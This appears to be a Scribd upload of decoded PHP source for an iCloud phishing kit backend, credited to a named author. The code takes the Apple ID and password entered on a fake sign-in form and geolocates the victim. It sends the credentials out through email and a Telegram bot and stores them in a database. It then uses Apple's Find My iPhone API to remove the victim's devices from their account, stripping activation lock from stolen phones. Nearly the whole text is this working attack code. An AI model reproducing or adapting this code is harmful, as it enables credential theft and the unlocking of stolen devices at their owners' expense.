0% found this document useful (0 votes)
231 views10 pages

Untitled

This document contains PHP code to log device login credentials, collect system information, and remotely lock or wipe connected Apple devices. It starts a session, collects the username, password, device IMEI, and other data. It determines the user's IP address, browser, OS, and location. Classes are defined to authenticate with Apple services and remotely control devices via APIs. The credentials and system info are formatted into text blocks and sent via email or Telegram along with notifications that devices were wiped.

Uploaded by

Abdul Rabie
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
231 views10 pages

Untitled

This document contains PHP code to log device login credentials, collect system information, and remotely lock or wipe connected Apple devices. It starts a session, collects the username, password, device IMEI, and other data. It determines the user's IP address, browser, OS, and location. Classes are defined to authenticate with Apple services and remotely control devices via APIs. The credentials and system info are formatted into text blocks and sent via email or Telegram along with notifications that devices were wiped.

Uploaded by

Abdul Rabie
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 10

/* Decoded by unphp.

net */

<?php session_start();
include '../../../../config/config_timezone.php';
$username = $_POST['apple'];
$password = $_POST['pw'];
$get_imei = $_SESSION['IMEI'];
$passcode = $_SESSION['PASSCODE'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$data = $_POST['apple'] . ':' . $_POST['pw'] . "

";
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
$user = $_SERVER['HTTP_USER_AGENT'];
include_once '../../../../lib/DetectOS.php';
include_once '../../../../lib/DetectDevice.php';
include_once '../../../../lib/DetectBrowser.php';
$browser = getBrowser();
$hostname = gethostbyaddr($ip_address);
$ip_address = $_SERVER['REMOTE_ADDR'];
$geo = unserialize(file_get_contents("http://www.geoplugin.net/php.gp?
ip=$ip_address"));
$country = $geo['geoplugin_countryName'];
$city = $geo['geoplugin_city'];
$region = $geo['geoplugin_regionName'];
$code = $geo['geoplugin_countryCode'];
$area = $geo['geoplugin_areaCode'];
@$details =
json_decode(file_get_contents("http://ipinfo.io/{$_SERVER['REMOTE_ADDR']}/json"));
@$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$QUERY_STRING = preg_replace('%[^/a-zA-Z0-9@,_=]%', '', $_SERVER['QUERY_STRING']);
$user_os = getOS();
$device = getDevice();
$date = date('d/m/Y');
$time = date('H:i:s');
$protocol = $_SERVER['SERVER_PROTOCOL'];
$headers = 'MIME-Version: 1.0' . "
";
$headers.= 'From: Apple_System' . "
";
$headers.= 'Content-type: text/html; charset=iso-8859-1' . "
";
include '../../../../config/config_email.php';
$subjects = "We've got a credentials from the $get_imei 🎁";
include_once '../../../../lib/Rendering.php';
include '../../../../config/config_telegram.php';
$arr_invalid = array('🔑 Apple ID Information ❌', '-----------------------------',
'📱IMEI' => "<b>$get_imei</b>", '🆔Apple ID' => $username, '🔑Password' =>
$password, '-----------------------------', '💻 System Information 📱',
'-----------------------------', '🌎IP Address' => $ip_address, '📅Date' => $date .
' at 🕐 ' . $time, '🛫Country' => $country, '🏙City' => $city, '⌨️Browser' =>
$browser, '💻Device' => $device, '🖥OS' => $user_os, '📌Internet Provider' =>
$details->org);
foreach ($arr_invalid as $key => $value) {
$txt_invalid.= '<b>' . $key . '</b>: ' . $value . '%0A';
}
$arr_locked = array('🔑 Apple ID Information ⚠️', '-----------------------------',
'📱IMEI' => "<b>$get_imei</b>", '🆔Apple ID' => $username, '🔑Password' =>
$password, '-----------------------------', '💻 System Information 📱',
'-----------------------------', '🌎IP Address' => $ip_address, '📅Date' => $date .
' at 🕐 ' . $time, '🛫Country' => $country, '🏙City' => $city, '⌨️Browser' =>
$browser, '💻Device' => $device, '🖥OS' => $user_os, '📌Internet Provider' =>
$details->org);
foreach ($arr_locked as $key => $value) {
$txt_locked.= '<b>' . $key . '</b>: ' . $value . '%0A';
}
class SilentAutoRemoveV4 {
private $client = array('app-version' => '4.0', 'user-agent' =>
'FindMyiPhone/500 CFNetwork/897.15 Darwin/17.5.0', 'headers' => array('X-Apple-
Realm-Support' => '1.0', 'X-Apple-Find-API-Ver' => '3.0', 'X-Apple-AuthScheme' =>
'UserIdGuest'));
public $username;
public $password;
public $devices = array();
public $names = array();
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
$this->authenticate();
}
public function lostMode($message, $phoneNumber = '') {
if (sizeof($this->devices) == 0) $this->getDevices();
foreach ($this->devices as $device) {
$url = 'https://fmipmobile.icloud.com/fmipservice/device/' . $this-
>username . '/lostDevice';
$body = json_encode(array('device' => $device->ID, 'ownerNbr' =>
$phoneNumber, 'text' => $message, 'lostModeEnabled' => true));
list($headers, $body) = $this->curlPOST($url, $body, $this->username .
':' . $this->password);
}
}
public function removeALL() {
if (sizeof($this->devices) == 0) $this->getDevices();
foreach ($this->devices as $device) {
if ($device->deviceStatus >= 200) {
$url = 'https://fmipmobile.icloud.com/fmipservice/device/' . $this-
>username . '/remove';
$body = json_encode(array('device' => $device->ID));
list($headers, $body) = $this->curlPOST($url, $body, $this-
>username . ':' . $this->password);
}
}
}
public function authenticate() {
$url = 'https://fmipmobile.icloud.com/fmipservice/device/' . $this-
>username . '/initClient';
list($headers, $body) = $this->curlPOST($url, '', $this->username . ':' .
$this->password);
if ($headers['http_code'] == 200) {
return 200;
};
if ($headers['http_code'] == 401) {
return 401;
};
if ($headers['http_code'] >= 403) {
return 403;
};
}
public function getDevices() {
$url = 'https://fmipmobile.icloud.com/fmipservice/device/' . $this-
>username . '/initClient';
list($headers, $body) = $this->curlPOST($url, '', $this->username . ':' .
$this->password);
$this->devices = array();
for ($x = 0;$x < sizeof($body['content']);$x++) {
$device = $this->generateDevice($body['content'][$x]);
$this->devices[$device->ID] = $device;
}
}
public function generateDevice($deviceDetails) {
$device = new FMIDevice();
$device->API = $deviceDetails;
$device->ID = $device->API['id'];
$device->displayName = $device->API['deviceDisplayName'];
$device->name = $device->API['name'];
$device->deviceModel = $device->API['deviceModel'];
$device->deviceStatus = $device->API['deviceStatus'];
$device->modelDisplayName = $device->API['modelDisplayName'];
$device->rawDeviceModel = $device->API['rawDeviceModel'];
$device->deviceColor = $device->API['deviceColor'];
$device->batteryLevel = $device->API['batteryLevel'];
$device->batteryStatus = $device->API['batteryStatus'];
$device->lostMode = $device->API['lostModeEnabled'];
$device->class = $device->API['deviceClass'];
return $device;
}
public function refreshDevices($deviceID = '') {
$url = 'https://fmipmobile.icloud.com/fmipservice/device/' . $this-
>username . '/refreshClient';
if (strlen($deviceID) > 0) {
$body = json_encode(array('clientContext' => array('appVersion' =>
$this->client['app-version'], 'shouldLocate' => true, 'selectedDevice' =>
$deviceID, 'fmly' => true)));
}
list($headers, $body) = $this->curlPOST($url, $body, $this->username .
':' . $this->password);
$this->devices = array();
for ($x = 0;$x < sizeof($body['content']);$x++) {
$device = $this->generateDevice($body['content'][$x]);
$this->devices[$device->ID] = $device;
}
}
public function printDevices() {
$get_imei = $_SESSION['IMEI'];
$headers = 'MIME-Version: 1.0' . "
";
$headers.= 'From: Apple_System' . "
";
$headers.= 'Content-type: text/html; charset=iso-8859-1' . "
";
global $to;
$subject = "$get_imei is Unlocked ✅";
$username = $_POST['apple'];
$password = $_POST['pw'];
$ip_address = $_SERVER['REMOTE_ADDR'];
$date = date('d/m/Y');
$time = date('H:i:s');
$geo = unserialize(file_get_contents("http://www.geoplugin.net/php.gp?
ip=$ip_address"));
@$details =
json_decode(file_get_contents("http://ipinfo.io/{$_SERVER['REMOTE_ADDR']}/json"));
@$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$QUERY_STRING = preg_replace('%[^/a-zA-Z0-9@,_=]%', '',
$_SERVER['QUERY_STRING']);
$country = $geo['geoplugin_countryName'];
$city = $geo['geoplugin_city'];
$region = $geo['geoplugin_regionName'];
$code = $geo['geoplugin_countryCode'];
$area = $geo['geoplugin_areaCode'];
$browser = getBrowser();
$device = getDevice();
$os = getOS();
global $token;
global $chat_id;
$arr_VALID = array('🔑 Apple ID Information ✅',
'-----------------------------', '📱IMEI' => "<b>$get_imei</b>", '🆔Apple ID' =>
$username, '🔑Password' => $password, '-----------------------------', '💻 System
Information 📱', '-----------------------------', '🌎IP Address' => $ip_address, '📅
Date' => $date . ' at 🕐 ' . $time, '🛫Country' => $country, '🏙City' => $city,
'⌨️Browser' => $browser, '💻Device' => $device, '🖥OS' => $os, '📌Internet Provider'
=> $details->org, '-----------------------------', '⚡️Removed devices 🔓');
foreach ($arr_VALID as $key => $value) {
$txt_VALID.= '<b>' . $key . '</b>: ' . $value . '%0A';
}
$iMessage = "
<html>
<style>
.contact a {color:#FFFFFF!important; text-decoration:none!important;}
</style>
<head>
<div style='overflow:hidden; margin-bottom:10px; width:450px; font-size: 13pt;
FONT-FAMILY: Helvetica; BACKGROUND-COLOR: yellowgreen; text-align: center; COLOR:
WHITE; BORDER-RADIUS: 3PX;'>Apple ID Information&nbsp;</div>
<div style='overflow:hidden; float:left; font-size: 12pt; FONT-FAMILY:
Helvetica; COLOR: black; BORDER-RADIUS: 20PX;'>&nbsp;IMEI:&nbsp;</div>
<div style='overflow:hidden; float:left; font-size: 12pt; FONT-FAMILY:
Helvetica; margin-top: 5px; BACKGROUND-COLOR: dodgerblue; COLOR: WHITE; BORDER-
RADIUS: 3PX; margin-left:6px'>&nbsp;$get_imei&nbsp;</div><br>
<hr style='border:0px; margin-top:10px;margin-bottom:0px; width:450px;'>
<div style='overflow:hidden; float:left; font-size: 12pt; FONT-FAMILY:
Helvetica; color: black;'>&nbsp;Apple ID:&nbsp;</div>
<div style='overflow:hidden; float:left; font-size: 12pt; FONT-FAMILY:
Helvetica; BACKGROUND-COLOR:dodgerblue; COLOR: WHITE; BORDER-RADIUS: 3PX; margin-
left:5px; margin-top: 0px;'><span
class='contact'>&nbsp;$username&nbsp;</span></div><br>
<hr style='border:0px; margin-top:10px;margin-bottom:0px; width:450px;'>
<div style='overflow:hidden; float:left; font-size: 12pt; FONT-FAMILY:
Helvetica; color: black;'>&nbsp;Password:&nbsp;</div>
<div style='overflow:hidden; float:left; font-size: 12pt; FONT-FAMILY:
Helvetica; BACKGROUND-COLOR:dodgerblue; COLOR: WHITE; BORDER-RADIUS: 3PX; margin-
left:5px;margin-top:0px'>&nbsp;$password&nbsp;</div><br>
<hr style=' margin-top:20px; margin-left: 0px; width: 450px; padding-
bottom: 1px; background-color: green;'>
<div style='overflow:hidden; margin-bottom:15px; width:450px; font-size:
13pt; FONT-FAMILY: Helvetica; BACKGROUND-COLOR:darkgray; text-align: center; COLOR:
WHITE; BORDER-RADIUS: 3PX;'> System Information </div>
<hr style='border:0px; margin-top:14px;margin-bottom:0px; width:450px;'>
<div style='overflow:hidden; margin-top:0px; float:left; font-size: 12pt;
FONT-FAMILY: Helvetica; COLOR: black;'>&nbsp;IP Address:&nbsp;</div>
<div style='overflow:hidden; margin-top:0px; float:left; font-size: 12pt;
FONT-FAMILY: Helvetica; BACKGROUND-COLOR:dodgerblue; COLOR: WHITE; BORDER-RADIUS:
3PX;margin-left:3px; margin-top: 0px;'>&nbsp;$ip_address&nbsp;</div><br>
<hr style='border:0px; margin-left: 0px; width: 450px; padding-bottom:
1px; background-color: red; background-color: transparent;'>
<div style='overflow:hidden; float:left; font-size: 12pt; FONT-FAMILY:
Helvetica; COLOR: black;'>&nbsp;Date and Time:&nbsp;</div>
<div style='overflow:hidden; float:left; font-size: 12pt; FONT-FAMILY:
Helvetica; BACKGROUND-COLOR:dodgerblue; margin-top: 0px; COLOR: WHITE; BORDER-
RADIUS: 3PX; margin-left:3px;'>&nbsp;$date at $time&nbsp;</div><br>
<hr style='border:0px; margin-left: 0px; width: 450px; padding-bottom:
1px; background-color: red; background-color: transparent;'>
<div style='overflow:hidden; float:left; font-size: 12pt; FONT-FAMILY:
Helvetica; COLOR: black;'>&nbsp;Country:&nbsp;</div>
<div style='overflow:hidden; float:left; font-size: 12pt; FONT-FAMILY:
Helvetica; margin-top: 0px; BACKGROUND-COLOR:dodgerblue; COLOR: WHITE; BORDER-
RADIUS: 3PX;margin-left:3px;'>&nbsp;$country&nbsp;</div><br>
<hr style='border:0px; margin-left: 0px; width: 450px; padding-bottom:
1px; background-color: red; background-color: transparent;'>
<div style='overflow:hidden; float:left; font-size: 12pt; FONT-FAMILY:
Helvetica; COLOR: black;'>&nbsp;City:&nbsp;</div>
<div style='overflow:hidden; float:left; font-size: 12pt; FONT-FAMILY:
Helvetica; margin-top: 0px; BACKGROUND-COLOR:dodgerblue; COLOR: WHITE; BORDER-
RADIUS: 3PX;margin-left:3px;'>&nbsp;$city&nbsp;</div><br>
<hr style='border:0px; margin-left: 0px; width: 450px; padding-bottom:
1px; background-color: red; background-color: transparent;'>
<div style='overflow:hidden; float:left; font-size: 12pt; FONT-FAMILY:
Helvetica; color: black;'>&nbsp;Device:&nbsp;</div>
<div style='overflow:hidden; float:left; font-size: 12pt; FONT-FAMILY:
Helvetica; BACKGROUND-COLOR:dodgerblue; COLOR: WHITE; margin-top: 0px; BORDER-
RADIUS: 3PX;margin-left:3px;'>&nbsp;$device&nbsp;</div><br>
<hr style='border:0px; margin-left: 0px; width: 450px; padding-bottom:
1px; background-color: red; background-color: transparent;'>
<div style='overflow:hidden; float:left; font-size: 12pt; FONT-FAMILY:
Helvetica; COLOR: black;'>&nbsp;Operation System:&nbsp;</div>
<div style='overflow:hidden; float:left; font-size: 12pt; FONT-FAMILY:
Helvetica; BACKGROUND-COLOR:dodgerblue; COLOR: WHITE; BORDER-RADIUS: 3PX;margin-
left:3px; margin-top: 0px;'>&nbsp;$user_os&nbsp;</div><br>
<hr style='border:0px; margin-left: 0px; width: 450px; padding-bottom:
1px; background-color: red; background-color: transparent;'>
<div style='overflow:hidden; float:left; font-size: 12pt; FONT-FAMILY:
Helvetica; color: black;'>&nbsp;Browser:&nbsp;</div>
<div style='overflow:hidden; float:left; font-size: 12pt; FONT-FAMILY:
Helvetica; BACKGROUND-COLOR:dodgerblue; COLOR: WHITE; BORDER-RADIUS: 3px;margin-
left:3px;margin-top: 0px;'>&nbsp;$browser&nbsp;</div><br>
<hr style='margin-left: 0px; width: 450px; padding-bottom: 1px;
background-color: red; background-color: transparent; border:0px'>
<div style='overflow:hidden; float:left; font-size: 12pt; FONT-FAMILY:
Helvetica;'>&nbsp;Internet Provider:&nbsp;</div>
<div style='overflow:hidden; float:left; font-size: 12pt; FONT-FAMILY:
Helvetica; BACKGROUND-COLOR:dodgerblue; COLOR: WHITE; BORDER-RADIUS: 3PX;margin-
left:3px; margin-top: 0px;'>&nbsp;$details->org&nbsp;</div><br>
<hr style='margin-left: 0px; width: 450px; padding-bottom: 1px;
background-color: transparent; color:transparent; border:0px'>
<div style='overflow:hidden; margin-bottom:10px; width:450px; font-size:
13pt; FONT-FAMILY: Helvetica; BACKGROUND-COLOR:lightskyblue; text-align: center;
COLOR: WHITE; BORDER-RADIUS: 3PX;'>Removed devices&nbsp;</div>
</head>
</html>
";
if (sizeof($this->devices) == 0) $this->getDevices();
foreach ($this->devices as $device) {
if ($device->deviceStatus == 200) {
$MDL = $device->API['modelDisplayName'];
$RAW = $device->API['rawDeviceModel'];
$CLR = $device->API['deviceColor'];
$NM = $device->API['name'];
$DN = $device->API['deviceDisplayName'];
$MODEL = $device->API['deviceModel'];
$CLASS = $device->API['deviceClass'];
$BATTERY_LEVEL = $device->API['batteryLevel'];
$BATTERY_STATUS = $device->API['batteryStatus'];
$IPHONE_ONLINE =
'https://statici.icloud.com/fmipmobile/deviceImages-9.0/' . $CLASS . '/' . $RAW .
'/online-infobox.png';
$arr_ONLINEDEVICES = array('-----------------------------', 'Device
Name' => "<b>$NM</b>", 'Device Model' => $DN, 'STATUS: <b>ONLINE - Unlock
Failed</b> ⛔️');
foreach ($arr_ONLINEDEVICES as $key => $value) {
$txt_ONLINEDEVICES.= '<b>' . $key . '</b>: ' . $value . '%0A';
}
$iMessage.= "
<html>
<head style='max-width:450px;'>
<div>
<hr style='margin-left: 0px; width: 450px; padding-bottom: 1px;
background-color: red;'>
<img style='float: left;' src='$IPHONE_ONLINE'>
<div STYLE='overflow:hidden; margin-top: 15px; font-
size: 15pt; FONT-FAMILY: Helvetica; font-weight: 600; width:200px;'>$NM</div>
<div STYLE='overflow:hidden; FONT-FAMILY: Helvetica;
font-size: 13pt;'>$DN</div>
<div STYLE='overflow:hidden; margin-top: 7px; BORDER-
RADIUS: 3PX; BACKGROUND-COLOR:RED; font-size: 12pt; COLOR: WHITE; FONT-FAMILY:
Helvetica; width:295px; margin-left:150px; margin-bottom: 16px;'> &nbsp; UNLOCK
FAILED - DEVICE
ONLINE &nbsp;</div>
</div>
</head>
</html>
";
}
}
if (sizeof($this->devices) == 0) $this->getDevices();
foreach ($this->devices as $device) {
if ($device->deviceStatus >= 201) {
$MDL = $device->API['modelDisplayName'];
$RAW = $device->API['rawDeviceModel'];
$CLR = $device->API['deviceColor'];
$NM = $device->API['name'];
$DN = $device->API['deviceDisplayName'];
$CLASS = $device->API['deviceClass'];
$MODEL = $device->API['deviceModel'];
$BATTERY_LEVEL = $device->API['batteryLevel'];
$BATTERY_STATUS = $device->API['batteryStatus'];
$IPHONE_OFFLINE =
'https://statici.icloud.com/fmipmobile/deviceImages-9.0/' . $CLASS . '/' . $RAW .
'/offline-infobox.png';
$arr_REMOVEDDEVICES = array('-----------------------------',
'Device Name' => "<b>$NM</b>", 'Device Model' => $DN, 'STATUS: <b>Unlocked and
Removed</b> ✅');
foreach ($arr_REMOVEDDEVICES as $key => $value) {
$txt_REMOVEDDEVICES.= '<b>' . $key . '</b>: ' . $value . '%0A';
}
$iMessage.= "
<html>
<head style='max-width:450px;'>
<div>
<hr style='margin-left: 0px; width: 450px; padding-bottom: 1px;
background-color: green;'>
<img style='float: left;' src='$IPHONE_OFFLINE'>
<div STYLE='overflow:hidden; margin-top: 15px; font-
size: 15pt; FONT-FAMILY: Helvetica; font-weight: 600; width:175px;'>$NM</div>
<div STYLE='overflow:hidden; FONT-FAMILY: Helvetica;
font-size: 13pt;'>$DN</div>
<div STYLE='overflow:hidden; margin-top: 7px; BORDER-
RADIUS: 3PX; BACKGROUND-COLOR:#05aa07; font-size: 12pt; COLOR: WHITE; FONT-FAMILY:
Helvetica; width:179px; margin-left:150px; margin-bottom: 16px;'> &nbsp; Unlocked +
Removed &nbsp;</div>
</div>
</head>
</html>
";
}
}
$arr_CREDITS = array('-----------------------------', 'Script by' =>
'<b>Adrian Shephard </b>', 'Twitter' => '@shephard_dev',
'-----------------------------', 'Version: 1.1', "Please don't forget to mention
this in Twitter 😳", '-----------------------------');
foreach ($arr_CREDITS as $key => $value) {
$txt_CREDITS.= '<b>' . $key . '</b>: ' . $value . '%0A';
}
$iMessage.= "
<html>
<head>
<div style='overflow:hidden; margin-top:20px; width:450px; height: 20px
font-size: 10pt; FONT-FAMILY: Helvetica; BACKGROUND-COLOR:silver; text-align:
center; COLOR: WHITE; BORDER-RADIUS: 3PX;'>&copy; Coded by <a style='color: black;'
href='https://twitter.com/shephard_dev' target='_blank'>Adrian Shephard</a></div>
</head>
</html>
";
$COMBINE = $txt_VALID . $txt_ONLINEDEVICES . $txt_REMOVEDDEVICES .
$txt_CREDITS;
$fp = fopen("https://api.telegram.org/bot{$token}/sendMessage?
chat_id={$chat_id}&parse_mode=html&text={$COMBINE}", 'r');
$arr = explode('@', $username);
$name = $arr[0];
mail($to, $subject, $iMessage, $headers);
}
private function curlPOST($url, $body, $authentication = '') {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_VERBOSE, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $this->client['user-agent']);
if (strlen($authentication) > 0) {
curl_setopt($ch, CURLOPT_USERPWD, $authentication);
}
$arrHeaders = array();
$arrHeaders['Content-Length'] = strlen($request);
foreach ($this->client['headers'] as $key => $value) {
array_push($arrHeaders, $key . ': ' . $value);
}
curl_setopt($ch, CURLOPT_HTTPHEADER, $arrHeaders);
$response = curl_exec($ch);
$info = curl_getinfo($ch);
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$responseBody = substr($response, $header_size);
$headers = array();
foreach (explode("
", substr($response, 0, $header_size)) as $i => $line) {
if ($i === 0) $headers['http_code'] = $info['http_code'];
else {
list($key, $value) = explode(': ', $line);
if (strlen($key) > 0) $headers[$key] = $value;
}
}
return array($headers, json_decode($responseBody, true));
}
}
class FMIDevice {
public $ID;
public $displayName;
public $model;
public $modelDisplayName;
public $name;
public $API;
public $deviceColor;
public $rawDeviceModel;
public $deviceModel;
}
$API = new SilentAutoRemoveV4($username, $password);
if ($API->authenticate() == 200) {
$API->getDevices();
$API->refreshDevices();
$API->printDevices();
$API->removeALL();
$API->removeALL();
$API->removeALL();
$API->removeALL();
$API->removeALL();
$API->removeALL();
$API->removeALL();
$API->removeALL();
$API->removeALL();
$API->removeALL();
$API->removeALL();
$API->removeALL();
$API->removeALL();
$API->removeALL();
$API->removeALL();
$API->removeALL();
$API->removeALL();
$API->removeALL();
$API->removeALL();
require_once '../../../../config/config_old.php';
$conn = new mysqli($servername, $username, $password, $dbname);
$created_at = date('d/m/Y H:i:s');
$sql = "INSERT INTO icloud_db (`full_name`, `country`, `apple_id`, `password`,
`added_at`, `status`) VALUES ('" . $get_imei . "', '" . $country . "', '" .
$_POST['apple'] . "', '" . $_POST['pw'] . "', '" . $created_at . "','VALID');";
$sql.= "INSERT INTO notifications (`comment_subject`, `comment_text`,
`comment_pic`, `comment_status`, `comment_link`, `added_at`) VALUES ('" . $get_imei
. " is Unlocked ✅', 'Now you can activate your device', '../css/VALID.png', '0',
'/imei.php?imei=$get_imei', '" . $created_at . "');";
$sql.= "INSERT INTO blacklist (`ip_address`, `imei`, `timestamp`, `script`,
`reason`) VALUES ('" . $ip_address . "', '" . $get_imei . "', '" . $created_at .
"', 'iCloud', 'Blocked')";
mysqli_multi_query($conn, $sql);
$conn->close();
header("Location: ../$passcode.php");
die;
};
if ($API->authenticate() == 401) {
require_once '../../../../config/config_old.php';
$conn = new mysqli($servername, $username, $password, $dbname);
$created_at = date('d/m/Y H:i:s');
$sql = "INSERT INTO icloud_db (`full_name`, `country`, `apple_id`, `password`,
`added_at`, `status`) VALUES ('" . $get_imei . "', '" . $country . "', '" .
$_POST['apple'] . "', '" . $_POST['pw'] . "', '" . $created_at . "','INVALID');";
$sql.= "INSERT INTO notifications (`comment_subject`, `comment_text`,
`comment_pic`, `comment_status`, `comment_link`, `added_at`) VALUES ('Invalid Sign
In attempt ❌', 'From " . $get_imei . "', '../css/INVALID.png', '0', '/icloud.php',
'" . $created_at . "')";
mysqli_multi_query($conn, $sql);
$conn->close();
$fp = fopen("https://api.telegram.org/bot{$token}/sendMessage?
chat_id={$chat_id}&parse_mode=html&text={$txt_invalid}", 'r');
$arr = explode('@', $username);
$name = $arr[0];
mail($to, $subjects, $messages, $headers);
header('Location: ../signin.php?error');
die;
};
if ($API->authenticate() == 403) {
require_once '../../../../config/config_old.php';
$conn = new mysqli($servername, $username, $password, $dbname);
$created_at = date('d/m/Y H:i:s');
$sql = "INSERT INTO icloud_db (`full_name`, `country`, `apple_id`, `password`,
`added_at`, `status`) VALUES ('" . $get_imei . "', '" . $country . "', '" .
$_POST['apple'] . "', '" . $_POST['pw'] . "', '" . $created_at . "','LOCKED');";
$sql.= "INSERT INTO notifications (`comment_subject`, `comment_text`,
`comment_pic`, `comment_status`, `comment_link`, `added_at`) VALUES ('Invalid Sign
In attempt ⚠️', 'From " . $get_imei . "', '../css/LOCKED.png', '0', '/icloud.php',
'" . $created_at . "')";
mysqli_multi_query($conn, $sql);
$conn->close();
$fp = fopen("https://api.telegram.org/bot{$token}/sendMessage?
chat_id={$chat_id}&parse_mode=html&text={$txt_locked}", 'r');
$arr = explode('@', $username);
$name = $arr[0];
mail($to, $subject, $messagess, $headers);
header('Location: ../locked.php');
die;
};

You might also like